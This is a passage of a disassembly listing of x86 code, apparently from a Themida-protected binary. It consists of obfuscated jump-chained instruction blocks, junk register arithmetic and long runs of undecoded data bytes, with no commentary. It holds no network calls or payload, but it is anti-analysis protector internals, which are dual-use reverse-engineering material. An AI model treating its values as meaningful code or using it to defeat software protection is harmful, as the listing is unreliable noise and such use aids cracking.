		and	ecx, 2DC13D32h
		xor	ecx, 67034832h
		xor	ebx, ecx
		jmp	loc_596E37
; ---------------------------------------------------------------------------
		dd 50243489h, 0A95CC9B8h, 2DE8D170h, 327A6035h,	96FBE9h
		dd 5DE10500h, 5A500EF1h, 8124048Bh, 4C4h, 0E95B5200h, 6A67h
; ---------------------------------------------------------------------------


loc_5956EC:				; CODE XREF: Themida_:0059CE65j
		pop	ebx
		sub	ebx, 536356DFh
		xor	ebx, 3C423F6Ch
		and	ebx, 1CDC37B2h
		jmp	loc_5A4E70
; ---------------------------------------------------------------------------


loc_595704:				; CODE XREF: Themida_:005A384Fj
		pop	ebp
		add	ebx, ebp
		push	edi
		mov	edi, 316A38B1h
		jmp	loc_599AF6
; ---------------------------------------------------------------------------


loc_595712:				; CODE XREF: Themida_:0059ED57j
		pop	esi
		push	ebp
		mov	ebp, 545D90F5h
		add	eax, ebp
		mov	ebp, [esp]
		add	esp, 4
		add	ebp, eax
		jmp	loc_5A5328
; ---------------------------------------------------------------------------


loc_595728:				; CODE XREF: Themida_:00598A45j
		mov	ecx, ebp
		jmp	loc_59FCD9
; ---------------------------------------------------------------------------


loc_59572F:				; CODE XREF: Themida_:005A5209j
		pop	esi
		mov	edi, [esp]
		push	5DB6h
		mov	[esp], esi
		jmp	loc_599BDF
; ---------------------------------------------------------------------------
		dd 815D5455h, 4C5h, 22586800h, 4890000h, 2BD5524h, 89000000h
		dd 0FBE95DE8h, 47h, 24148BD3h, 4EC81h, 4EE90000h, 66000102h
		dd 665BDF29h, 5650665Dh, 388CBE66h, 0D5E95566h,	81000000h
		dd 592F2BC1h, 0CB895A02h, 8BDE0159h
		db 1Ch,	24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	edi
		mov	edi, 4
		add	ebp, edi
		mov	edi, [esp]
		add	esp, 4
		push	eax
		mov	eax, 4
		add	ebp, eax
		mov	eax, [esp]
		jmp	loc_5A3B5F
; ---------------------------------------------------------------------------


loc_5957B3:				; CODE XREF: Themida_:0059670Ej
		push	eax
		mov	eax, 54C74B81h
		not	eax
		neg	eax
		jmp	loc_59E379
; ---------------------------------------------------------------------------
		dw 0C483h
		dd 2BF5704h, 81000000h,	801EC0EAh, 0D0C28150h, 16A017Ah
		dd 0D0EA81FAh, 816A017Ah, 801EC0C2h, 14335F50h,	24143124h
		dd 8B241433h, 0F662424h, 9C2404BBh, 0FFC773E9h,	55475BFFh
		dd 0BED2E9h, 0C4815800h, 4, 5D9CED81h, 96E926F7h, 5AFFFFE3h
		dd 0E95BD830h, 0FFFFDC65h, 40E9685Bh, 34890000h, 4CF0BE24h
		dd 0E9467C0Eh, 5E1Bh, 1784BE56h, 72E91E61h, 5FFFFFCDh
		dd 685DEB89h, 3E9Fh, 0A427E9h, 0FE58100h, 0E9149161h, 0C1FAh
		dd 53ACBD66h, 66EE3166h, 0B97E95Dh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_595866:				; CODE XREF: Themida_:005A6CB8j
		mov	[esp], ebp
		mov	ebp, 58C034A0h
		add	edi, 52EA4197h
		add	edi, 50810F10h
		jmp	loc_59D4E5
; ---------------------------------------------------------------------------
		db 59h
		dd 4C481h, 0E5E90000h, 50FFFFC6h, 0D0F6F888h, 88C68852h
		dd 0D293E9F7h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59589A:				; CODE XREF: Themida_:005988F7j
		mov	eax, 4
		add	esi, eax
		pop	eax
		jmp	loc_5A70D6
; ---------------------------------------------------------------------------
aSfops		db 'º˜FoPéÅ\',0
		db 0
; ---------------------------------------------------------------------------


loc_5958B1:				; CODE XREF: Themida_:00599B91j
		mov	[esp], edx
		push	esp
		mov	edx, [esp]
		add	esp, 4
		push	esi
		jmp	loc_593FD6
; ---------------------------------------------------------------------------
		db 87h,	34h, 24h
		dd 8324248Bh, 0FF5104C1h, 59042474h, 0C8A2E9h, 43C28100h
		dd 81989E96h, 0EC178DC7h, 81D70117h, 0EC178DEFh, 24148B17h
		dd 4C481h, 3C330000h, 243C3124h, 8B243C33h, 0C4832424h
		dd 68E9F704h, 437Eh, 50241489h,	0C65EE99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_595912:				; CODE XREF: Themida_:005A6825j
		add	ebp, esi
		pop	esi
		push	eax
		mov	eax, 4
		sub	ebp, eax
		pop	eax
		xchg	ebp, [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		jmp	loc_59E5E9
; ---------------------------------------------------------------------------
		dd 0E1C05A66h, 2BE98002h, 0B466C180h, 59CC2821h, 48BE200h
		dd 4C48124h, 0E9000000h, 5C70h,	0B1E95D54h
		db 0CAh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_595953:				; CODE XREF: Themida_:00593DDEj
		pop	ebx
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_59F4DE
; ---------------------------------------------------------------------------
		db 0BFh, 2, 0
		dd 0FB010000h, 83243C8Bh, 1C8904ECh, 81E38924h,	4C3h, 0A4EE900h
		dd 0F1E90000h, 0FFFFFFC5h, 669D1C77h, 24041858h, 0C5E2E99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59598E:				; CODE XREF: Themida_:0059B919j
		mov	edi, 4
		add	ebp, edi
		pop	edi
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		add	esi, 1
		push	2789h
		mov	[esp], ecx
		mov	ecx, 2010A5E7h
		xor	esi, ecx
		mov	ecx, [esp]
		add	esp, 4
		and	eax, esi
		mov	esi, [esp]
		jmp	loc_5A5DDA
; ---------------------------------------------------------------------------


loc_5959C5:				; CODE XREF: Themida_:005A68F9j
		mov	ebp, 61B100BEh
		dec	ebp
		xor	ebp, 61B100B9h
		add	eax, ebp
		pop	ebp
		xchg	eax, [esp]
		jmp	loc_59FF2B
; ---------------------------------------------------------------------------


loc_5959DC:				; CODE XREF: Themida_:0059E2B6j
		xchg	eax, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], esi
		push	esp
		pop	esi
		add	esi, 4
		push	0C55h
		jmp	loc_5A4648
; ---------------------------------------------------------------------------


loc_5959F8:				; CODE XREF: Themida_:0059D747j
		xor	[esp], eax
		xor	eax, [esp]
		jmp	loc_5A3FB9
; ---------------------------------------------------------------------------
		db 5Ch
		dd 66FAB050h, 0E9434068h, 6A93h
; ---------------------------------------------------------------------------


loc_595A10:				; CODE XREF: Themida_:00595384j
		mov	edx, 0B87AB746h
		jmp	loc_5A3947
; ---------------------------------------------------------------------------


loc_595A1A:				; CODE XREF: Themida_:0059BF26j
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], ecx
		push	edi
		push	23740DAh
		jmp	loc_598A1B
; ---------------------------------------------------------------------------
		db 89h
		dd 0B8E9241Ch
		db 73h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_595A37:				; CODE XREF: Themida_:005971B5j
		add	ecx, ebp
		add	ecx, 1E6EBAh
		pop	ebp
		jmp	loc_5A692A
; ---------------------------------------------------------------------------


loc_595A45:				; CODE XREF: Themida_:00594711j
		push	ax
		pushf
		jmp	loc_591F70
; ---------------------------------------------------------------------------
aAthatas	db '²¹€âH€âaéÜÌ',0
		align 2
aLSnx		db '‹$$éNx',0
		align 2
		dw 0DABAh
		dd 535C9106h, 0D889D389h, 0E00D5A5Bh, 0C13ABE4Eh, 542504E0h
		dd 5558325Ch, 4EC81h, 3C890000h, 758BBF24h, 0DFF71F7Dh
		dd 3EC8F781h, 0E78127C7h, 0A343ADh, 8106EFC1h, 8622C2F7h
		dd 0A858E955h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_595AA6:				; CODE XREF: Themida_:0059E27Bj
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_598414
; ---------------------------------------------------------------------------
		dw 0D500h
		dd 4EC815Ah, 89000000h,	8BE92404h, 890000EFh, 0E2892414h
		dd 4B850h, 5FE90000h, 80000089h, 0C380B2C3h, 5EB55153h
		dd 0C580CDFEh, 0E9EB286Fh, 0FFFFE8F7h, 4C281h, 0C2810000h
		dd 4, 5C241487h, 8B24048Fh, 0E9512424h,	0CC8Ah,	0E616FA05h
		dd 0ACE95314h, 5D000087h, 10D5BA52h, 0D0015307h, 5177E9h
		dd 0E2C14A00h, 0BCEA8105h, 0E92A7B40h, 0D54Ch
; ---------------------------------------------------------------------------


loc_595B2C:				; CODE XREF: Themida_:00597C88j
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], eax
		mov	eax, esp
		add	eax, 4
		push	esi
		mov	esi, 4
		add	eax, esi
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_59E4B3
; ---------------------------------------------------------------------------
		dw 0F088h
		dd 0A42C5A66h, 0C0FEFF04h, 0C7804334h, 0E9C70080h, 0FFFFE254h
		dd 68241C89h, 2BDDh, 0BD242C89h, 370909AEh, 1DAEED81h
		dd 0D3E97706h, 0FF000031h, 835D2434h, 0EE8104C4h, 1F2B1279h
		dd 0C681C601h, 1F2B1279h, 77F3E9h, 31FF5A00h, 0FFE2E4E9h
		dd 74FF56FFh, 6CE90424h, 81FFFFD4h, 4C3h, 4EB8300h, 5C241C87h
		dd 89243C89h, 4C781E7h,	0E9000000h, 348Ch
; ---------------------------------------------------------------------------


loc_595BD8:				; CODE XREF: Themida_:005A3A60j
		add	ebx, 45944B68h
		shl	ebx, 3
		sub	ebx, 2DD64766h
		shl	ebx, 6
		xor	ebx, 581E4E88h
		and	eax, ebx
		pop	ebx
		not	eax
		jmp	loc_59AF9E
; ---------------------------------------------------------------------------


loc_595BFA:				; CODE XREF: Themida_:0059F5EDj
		sub	eax, 775A5F72h
		jmp	loc_5A45B7
; ---------------------------------------------------------------------------
		dd 99190BBAh, 16B6E922h, 34870000h, 24248B24h, 9C243CD3h
		dd 0FFC353E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_595C1D:				; CODE XREF: Themida_:0059F69Aj
		xor	edx, [esp]
		jmp	loc_593FEC
; ---------------------------------------------------------------------------


loc_595C25:				; CODE XREF: Themida_:005A15CBj
		pop	edx
		jmp	loc_5A408E
; ---------------------------------------------------------------------------
aS_8		db '(Åé',0Dh,'²',0
		align 2
		dw 0DFF7h
aRs6		db 'Ré6',1Bh,0
		align 2


loc_595C3A:				; CODE XREF: Themida_:005A4E83j
		push	edx
		jmp	loc_59C2D1
; ---------------------------------------------------------------------------


loc_595C40:				; CODE XREF: Themida_:005A495Ej
		or	eax, eax
		jnz	loc_5A5336
		sub	esp, 4
		mov	[esp], ebp
		push	edx
		push	esp
		pop	edx
		jmp	loc_5970CE
; ---------------------------------------------------------------------------
		dw 95BDh
		dd 81811613h, 0F80DFAEEh, 0E9EE297Eh, 0D5BEh, 0DE2CE950h
		dd 4401FFFFh, 48B0424h,	4C48124h, 8B000000h, 0C483240Ch
		dd 0E7895704h, 4C781h, 0C4E90000h
		db 73h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_595C8F:				; CODE XREF: Themida_:005A629Bj
		add	esp, 4
		push	eax
		mov	edi, [esp]
		jmp	loc_5A7152
; ---------------------------------------------------------------------------
		db 5Dh
		dd 4C581h, 76E90000h, 830000F1h, 48904ECh, 2474FF24h, 24048B04h
		dd 0C16BE9h
		db 0
; ---------------------------------------------------------------------------


loc_595CB9:				; CODE XREF: Themida_:0059B986j
		mov	ebp, 1E1B574Bh
		jmp	loc_592EB6
; ---------------------------------------------------------------------------
		db 1
		dd 1AEB81FBh, 5125425Ch, 0D9E9C189h
		db 97h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_595CD3:				; CODE XREF: Themida_:005A650Fj
		and	eax, edx
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		or	eax, eax
		jz	loc_5A02A6
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_595E64
; ---------------------------------------------------------------------------
		db 8Bh,	14h, 24h
		dd 6804C483h, 437h, 89243489h, 4C681E6h, 83000000h, 348704EEh
		dd 492EE924h, 0AAB80000h, 554E4842h, 0D9202268h, 0D8D7E963h
		dd 0EAC1FFFFh, 4ADAF708h, 0E953D2F7h, 0B932h, 0C8BCD01h
		dd 4EBDE924h, 0F3810000h, 557133ADh, 0A6BF381h,	0E3C1395Fh
		dd 80EB8108h, 506D665Dh, 0D9C984B8h, 58C301EAh,	55BD801h
		dd 4, 8B240487h, 0C6812424h, 67994A46h,	5814B850h, 0C6016B53h
		dd 55CE0158h, 0BB40CDBDh, 47C5812Eh, 293C9817h,	638FE9EEh
		dd 48B0000h, 4C48324h, 0E25C0EBEh, 7C6813Eh, 0E906653Eh
		dd 0FFFFE814h, 8B5DE801h, 0C483241Ch, 53C33104h, 0FFC2AEE9h
		dd 68C328FFh, 5BD8h, 50241489h,	0E2886DB4h, 0E924048Bh
		dd 0FFFFEFB4h, 3189EB81h, 0FB010BEBh, 3608E9h, 43C28100h
		dd 119FE5Ah, 43EA81EAh,	5619FE5Ah, 0FFE550E9h, 7E9068FFh
		dd 34890000h, 0E7E95124h
		db 47h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_595DFB:				; CODE XREF: Themida_:005A497Fj
		add	ebx, 4CEC534Eh
		jmp	loc_5A471E
; ---------------------------------------------------------------------------
		dw 0C483h
		dd 4EC8304h, 54241489h,	0DEAE9h, 41FAB800h, 64E90BC7h
		dd 500000B3h, 4B8h, 24448100h, 0A7679004h, 9969E97Eh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_595E32:				; CODE XREF: Themida_:00594B84j
		xchg	edx, [esp]
		mov	esp, [esp]
		jmp	loc_5A1012
; ---------------------------------------------------------------------------
		db 2 dup(5Ah), 87h
		dd 248B2434h, 81535224h, 0DEF2434h, 34FF13DDh, 24148B24h
		dd 4C481h, 0B5680000h, 0E9000069h, 0CD09h
; ---------------------------------------------------------------------------


loc_595E64:				; CODE XREF: Themida_:00595CF0j
		push	1Ch
		jmp	loc_5A6BE5
; ---------------------------------------------------------------------------
		dw 9268h
		dd 89000018h, 5EB82404h, 51345730h, 8904EC83h, 2B68241Ch
		dd 5B3B157Eh, 7940E957h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_595E8E:				; CODE XREF: Themida_:0059E5E4j
		mov	esi, 2BDE5115h
		sub	esi, 1
		sub	esi, 4B500800h
		jmp	loc_5998B4
; ---------------------------------------------------------------------------
		db 57h,	68h, 0DEh
		dd 5F502D35h, 6880F781h, 0D7F77654h, 0C90DF781h, 8157B32Ah
		dd 57CB2404h, 78E90ABEh, 0FF0000B5h, 58042474h,	0B99FE9h
		db 0
; ---------------------------------------------------------------------------


loc_595ECD:				; CODE XREF: Themida_:0059D258j
		mov	eax, 4
		add	ebx, eax
		pop	eax
		xchg	ebx, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	edi
		jmp	loc_597C87
; ---------------------------------------------------------------------------
		dw 0EC83h
		dd 240C8904h, 3CB9h, 0E1DBE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_595EF2:				; CODE XREF: Themida_:0059FE35j
		push	edx
		push	ebp
		mov	ebp, 4
		mov	edx, ebp
		pop	ebp
		add	ebp, 44C46D67h
		add	ebp, edx
		jmp	loc_59DAA2
; ---------------------------------------------------------------------------
		db 0BBh, 15h, 32h
		dd 0E3C17A5Bh, 0ACB95103h, 0E9D2D990h, 0FFFFDE46h, 242C335Fh
		dd 33242C31h, 50E9242Ch
		db 42h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_595F2B:				; CODE XREF: Themida_:005A59FCj
		xor	ebp, [esp]
		mov	esp, [esp]
		push	edi
		mov	edi, esp
		push	7202h
		mov	[esp], eax
		push	7EE2h
		mov	[esp], esi
		mov	esi, 5A096708h
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 0C7C7B2D4h
		mov	eax, edx
		pop	edx
		add	eax, 26AA1CEFh
		sub	eax, esi
		sub	eax, 26AA1CEFh
		pop	esi
		push	edi
		push	eax
		jmp	loc_59F919
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4, 148BD300h, 4C48124h, 80000000h, 0DE28E3C6h, 5BE3EE80h
		dd 148BF030h, 4C48324h,	0A60FE9h, 0E0BE5600h, 89556635h
		dd 8B535EF3h, 0C4812434h, 4, 81241C8Bh,	4C4h, 0E9F00100h
		dd 24C0h
; ---------------------------------------------------------------------------


loc_595FB8:				; CODE XREF: Themida_:0059699Dj
		add	ebp, 4
		add	ebp, 4
		jmp	loc_59FB06
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 8324148Bh, 686804C4h, 0E9000002h, 108E7h, 64F78159h
		dd 8118DF13h, 0C93644CFh, 96E7811Dh, 537DCE5Fh,	0C5A68h
		dd 0CBA3E900h, 0EC830000h, 4A13E904h, 0EE810000h, 38F05034h
		dd 587AE9h, 0E9815C00h,	3F1B5792h, 2B83BD55h, 0CD814A39h
		dd 544F2336h, 1527E581h, 0C5817EC6h, 1,	8105E5C1h, 233605C5h
		dd 0EFC5815Fh, 81DEDFBBh, 2D4B6BE9h, 0E9E9296Fh, 0D734h
		dd 0E95259h, 5200001Bh,	7F3358BAh, 0FFEA8308h, 3358F281h
		dd 0EC83087Fh, 24148904h, 24148B59h, 4C481h, 4F090000h
		dd 240C8B1Ch, 81595451h, 4C1h, 4BF5700h, 83000000h, 2C8904ECh
		dd 15BF5724h, 81432114h, 0DA323EEFh, 0CCEAE949h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_59609A:				; CODE XREF: Themida_:005A3D22j
		add	ebp, 0BA3AF74Bh
		and	esi, ebp
		pop	ebp
		xor	esi, 6D3313C7h
		jmp	loc_59D7ED
; ---------------------------------------------------------------------------
		dw 0C6B7h
		dd 8B66FC30h, 0C481241Ch, 2, 28C1C380h,	0D80CE9E3h, 0E8310000h
		dd 0BFEE815Dh, 81580519h, 45456DC6h, 81C60168h,	45456DEEh
		dd 0E881E968h, 42D0000h, 87000000h, 248B2404h, 5CFCE924h
		dd 2C810000h, 9A052B24h, 0CF4E93Eh, 1C890001h, 628CE924h
		dd 2B80000h, 81000000h,	602F0AEEh, 6BEE812Fh, 1483F38h
		dd 6BC681C6h, 68483F38h, 1816h,	51241489h, 0A93DE9h, 4C48100h
		dd 83000000h, 35E904C4h
		db 0BEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59613B:				; CODE XREF: Themida_:005A3F65j
		sub	esi, 4
		xchg	esi, [esp]
		jmp	loc_593B30
; ---------------------------------------------------------------------------
		dw 0E95Fh
		dd 1A54h, 405h,	24048700h, 0E10FE95Ch, 132D0000h, 297FB170h
		dd 701305F0h, 685E7FB1h
dword_596168	dd 1DDh, 0B8C0E9h		db 0
; ---------------------------------------------------------------------------


loc_596171:				; CODE XREF: Themida_:00594439j
		or	ebp, edi
		pop	edi
		sub	ebp, 7F8B7FB7h
		mov	ebx, ebp
		pop	ebp
		add	ebp, ebx
		pop	ebx
		xchg	ebp, [esp]
		mov	esp, [esp]
		mov	eax, [esp]
		push	6E03h
		mov	[esp], ebx
		push	esp
		pop	ebx
		push	ebp
		mov	ebp, 607B5851h
		jmp	loc_5A380E
; ---------------------------------------------------------------------------
		dw 148Bh
		dd 0F544E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5961A6:				; CODE XREF: Themida_:0059EB5Dj
		add	eax, 2
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		mov	esp, [esp]
		jmp	loc_5A5A01
; ---------------------------------------------------------------------------
aZsun		db 'Zéã­',0
		align 10h
		dd 9D1C77FFh, 19665866h, 0E99C2404h, 0FFFFBDA0h, 70E9D42Ch
		dd 10000E7h, 5DAFE9CEh,	0DF010000h, 4BCCC781h, 0B85032DDh
		dd 66940AEAh, 8158C701h, 783BFEEFh, 241C8B0Ch, 9D26E9h
		dd 77BD6800h, 1C890000h, 8044B324h, 0F38091E3h,	0E9A42CF9h
		dd 0BF11h, 1EA81h, 0F7520000h, 575A2414h, 0E15417BFh, 5FFA3110h
		dd 6356EA81h, 0E956080Ah, 0A94Dh, 56241C8Bh, 0C681E689h
		dd 4, 0E904EE83h, 0FFFFF969h, 0C46EE95Eh, 6C680000h, 8900004Bh
		dd 0FA882414h, 88D38853h, 8B5A5BDCh, 0C483241Ch, 0E3E3E904h
		dd 83ADFFFFh, 0F00207Fh, 0FFD7DC84h, 79C768FFh,	0C890000h
		dd 0A4C1E924h, 68590000h, 1636h, 0E473E9h, 88CA8800h, 47E95AD7h
		dd 5E0000D0h, 4D8D68h, 24348900h, 57515E54h, 0B54575BFh
		dd 39F78102h, 0C17E8D7Eh, 0CF8108EFh, 63EF2BD2h, 0B7ECE9h
		db 0
; ---------------------------------------------------------------------------


loc_5962BD:				; CODE XREF: Themida_:0059AA7Bj
		pop	ebp
		mov	ecx, esi
		mov	esi, [esp]
		push	eax
		jmp	loc_599923
; ---------------------------------------------------------------------------


loc_5962C9:				; CODE XREF: Themida_:005994F7j
		mov	esi, ebp
		pop	ebp
		mov	edi, [esp]
		add	esp, 4
		mov	ebp, [esp]
		add	esp, 4
		push	ebp
		mov	ebp, 7D9B3B56h
		jmp	loc_59929E
; ---------------------------------------------------------------------------
		dw 8966h
		dd 7BB3241Ch, 5B66D888h, 0FFF758E9h, 56B8FFh, 0C7214E0Ah
		dd 12F78158h, 0E94E0A00h, 0EF5h, 33240C31h, 0E7E9240Ch
		db 8Ch,	2 dup(0)
; ---------------------------------------------------------------------------


loc_596313:				; CODE XREF: Themida_:005A17ACj
		mov	edi, [esp]
		jmp	loc_59A8E6
; ---------------------------------------------------------------------------


loc_59631B:				; CODE XREF: Themida_:005A0B77j
		neg	ebp
		push	esi
		mov	esi, 60990FBDh
		neg	esi
		add	esi, 60C244E3h
		sub	ebp, 10964F06h
		sub	ebp, esi
		jmp	loc_5A10B9
; ---------------------------------------------------------------------------


loc_596338:				; CODE XREF: Themida_:0059BF74j
		add	esp, 4
		add	esp, 4
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 117F2E4Ah
		xor	edi, esi
		pop	esi
		or	ebp, edi
		mov	edi, [esp]
		add	esp, 4
		push	esi
		mov	esi, 5F7D2A6Fh
		xor	ebp, esi
		pop	esi
		push	ebp
		jmp	loc_59D0F9
; ---------------------------------------------------------------------------
aQsY		db 'QéÀy',0
		align 2


loc_596372:				; CODE XREF: Themida_:0059DBF1j
		mov	[esp], ecx
		push	esp
		pop	ecx
		push	esi
		mov	esi, 4
		add	ecx, esi
		jmp	loc_59C7D6
; ---------------------------------------------------------------------------
		dd 0E780D7F6h, 56EF80A7h, 5BFD28h, 240C8BE8h, 0E904C483h
		dd 0A928h, 8359C829h, 148904ECh, 815A5424h, 4C2h, 4EA8100h
		dd 52000000h, 42474FFh,	24048F5Ah, 8924248Bh, 0E951241Ch
		dd 2AE6h, 4B850h, 0C3010000h, 0FFECAAE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5963D5:				; CODE XREF: Themida_:005A10E1j
		sub	ebp, ecx
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_5A3841
; ---------------------------------------------------------------------------
		dw 0C483h
		dd 4C48104h, 0C1000000h, 0FF5604E6h, 348B240Ch,	4C48324h
		dd 3D92E9h, 0EEC16600h,	0E6816602h, 816662F5h, 6677F2EEh
		dd 0AC6AC681h, 5EF08966h, 66EE9h, 0E9555200h, 3F33h
; ---------------------------------------------------------------------------


loc_596420:				; CODE XREF: Themida_:005A1DF2j
		mov	[esp], edx
		mov	edx, 41C11DB7h
		or	ebp, edx
		pop	edx
		sub	ebp, 30C461B6h
		inc	ebp
		push	1899h
		mov	[esp], edi
		jmp	loc_5A01EC
; ---------------------------------------------------------------------------
		db 83h
		dd 1C8904ECh, 2BB24h, 0DD010000h, 0B368E9h, 2434FF00h
		dd 16DE9h, 4686600h, 4896665h, 0BB0AE924h, 0C89FFFFh, 0ADE95224h
		dd 0B000002Eh, 66C6284Ah, 5724048Bh, 0C781E789h, 4, 0B155E9h
		db 0
; ---------------------------------------------------------------------------


loc_596485:				; CODE XREF: Themida_:0059820Ej
		add	[ecx], edx
		push	dword ptr [esp]
		jmp	loc_5A27C9
; ---------------------------------------------------------------------------
		db 81h
		dd 63FC242Ch, 815B2EE5h, 0E563FCC3h, 0D2AFE92Eh, 0B850FFFFh
		dd 239D24A8h, 7A433605h, 0E9C28947h, 0CE9Ah, 45C04ACh
		dd 4E72CD9h, 2CD8004Fh,	0FD5CE94Fh, 8B660000h, 54562404h
		dd 4EC815Eh, 89000000h,	0B850241Ch, 2D1E15C1h, 8904EC83h
		dd 34812404h, 0FD56AD24h, 0F3815B17h, 17FD56ADh, 4EC8358h
		dd 53243489h, 400640BBh, 0F4E94B1Fh, 59FFFFD4h,	8107E1C1h
		dd 6F7614E9h, 8BC88970h, 0C481240Ch, 4,	0DEE9C301h
		db 0C5h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_59651F:				; CODE XREF: Themida_:0059F485j
		add	dword ptr [esp], 4
		jmp	loc_594EC6
; ---------------------------------------------------------------------------
		db 0FFh
		dd 56582434h, 0C681E689h, 4, 4C681h, 34870000h,	0CE685C24h
		dd 89000062h, 0E6892434h, 815B5453h, 4C3h, 4EB8100h, 87000000h
		dd 248B241Ch, 24048924h, 36336856h, 0E95E0272h,	0CD61h
		dd 24048B66h, 2528E9h
		db 0
; ---------------------------------------------------------------------------


loc_596579:				; CODE XREF: Themida_:005A0182j
		add	edi, 4
		jmp	loc_5A26F1
; ---------------------------------------------------------------------------
		dd 0B6241489h, 5AF78811h, 0F1AFE9h
		db 0
; ---------------------------------------------------------------------------


loc_596591:				; CODE XREF: Themida_:005A57BBj
		xor	ebp, [esp]
		mov	esp, [esp]
		imul	cx, ax
		push	cx
		pushf
		jmp	loc_591F70
; ---------------------------------------------------------------------------


loc_5965A3:				; CODE XREF: Themida_:00599B9Dj
		push	eax
		mov	eax, esp
		jmp	loc_5A588D
; ---------------------------------------------------------------------------
		db 29h
		dd 0C6015FF8h, 0CC45E9h, 822C5800h, 0CDE9E800h,	29000046h
		dd 4FFEE9C7h, 3C8B0000h, 1C5EE924h, 0CE290000h,	24348759h
		dd 0E924248Bh, 0FFFFC99Ah, 0E904C483h, 0F5ACh, 4C481h
		dd 29660000h, 0A9E95FF8h, 0E90000BEh, 0FFFFB978h, 0F5814D4Dh
		dd 66966329h, 18DDE94Dh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_596606:				; CODE XREF: Themida_:0059505Bj
		mov	ebp, 4
		jmp	loc_59668C
; ---------------------------------------------------------------------------
		dd 51242C89h, 4B9h, 2C815100h, 0F2FDF24h, 0C5815D27h, 270F2FDFh
		dd 5DEE0159h, 0E904C683h, 1059Ah, 0E9241C33h, 7D95h, 0E904E8C1h
		dd 633h, 0D6F7DEF7h, 45F68146h,	218395E7h, 2434FFF3h, 76CDE9h
		db 0
; ---------------------------------------------------------------------------


loc_596659:				; CODE XREF: Themida_:0059538Bj
		sub	ebp, 281E1068h
		pop	ebx
		push	eax
		mov	eax, 4
		sub	ebp, eax
		mov	eax, [esp]
		add	esp, 4
		xor	ebp, [esp]
		jmp	loc_598057
; ---------------------------------------------------------------------------


loc_596676:				; CODE XREF: Themida_:005943DAj
		xor	edi, edx
		pop	edx
		add	ebx, edi
		mov	edi, [esp]
		add	esp, 4
		xchg	ebx, [esp]
		jmp	loc_5A48A0
; ---------------------------------------------------------------------------


loc_59668C:				; CODE XREF: Themida_:0059660Bj
		add	edx, ebp
		jmp	loc_59ADC3
; ---------------------------------------------------------------------------


loc_596693:				; CODE XREF: Themida_:005A4F5Cj
		sub	eax, 0D670174Fh
		mov	esi, eax
		pop	eax
		jmp	loc_59EABB
; ---------------------------------------------------------------------------


loc_5966A0:				; CODE XREF: Themida_:005A2965j
		mov	ebx, 24h
		add	ebx, edi
		push	6D39h
		mov	[esp], eax
		push	esi
		push	eax
		mov	eax, 264C0ADBh
		mov	esi, eax
		pop	eax
		sub	esi, 0C34F871h
		mov	eax, esi
		mov	esi, [esp]
		push	ebx
		mov	ebx, esp
		jmp	loc_59E637
; ---------------------------------------------------------------------------
		dd 4FC7F281h, 0D0015DCAh, 42D5Ah, 0AFE90000h, 83000026h
		dd 348704C6h, 0BAE95C24h, 660000E2h, 0C3296658h, 0FEAEE9h
		dd 2434FF00h, 0E92434FFh, 63BAh
; ---------------------------------------------------------------------------


loc_596700:				; CODE XREF: Themida_:005A2826j
		mov	esi, 5C9A0BBBh
		and	esi, 2DD626CAh
		shr	esi, 8
		jmp	loc_5957B3
; ---------------------------------------------------------------------------
aS3o		db ')Ðé3®',0
		align 2
		dw 0BA52h
		dd 7DFD4D03h, 245BEA81h, 5DE9729Dh, 810000DDh, 1EEh, 0C280E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_596736:				; CODE XREF: Themida_:00596EABj
		push	eax
		push	edx
		push	esp
		mov	edx, [esp]
		add	esp, 4
		push	35A3h
		mov	[esp], ebp
		push	edi
		mov	edi, 4
		mov	ebp, edi
		pop	edi
		add	edx, ebp
		jmp	loc_5A4D7B
; ---------------------------------------------------------------------------
		dw 1C8Bh
		dd 4C48324h, 6B68565Bh,	0E93F9774h, 0AEE3h, 43D4E381h
		dd 0C3817AA2h, 0D643F1Fh, 5DC38143h, 89E7302Fh,	0C8295BD9h
		dd 9C87E9h, 4C48100h, 87000000h, 248B240Ch, 0A14FE924h
		dd 0C6810000h, 4, 0FFFF3AE9h, 2CE304FFh, 505E90Ch, 87590000h
		dd 665C2434h, 6824048Bh, 544Eh,	68243489h, 37CEh, 107F68h
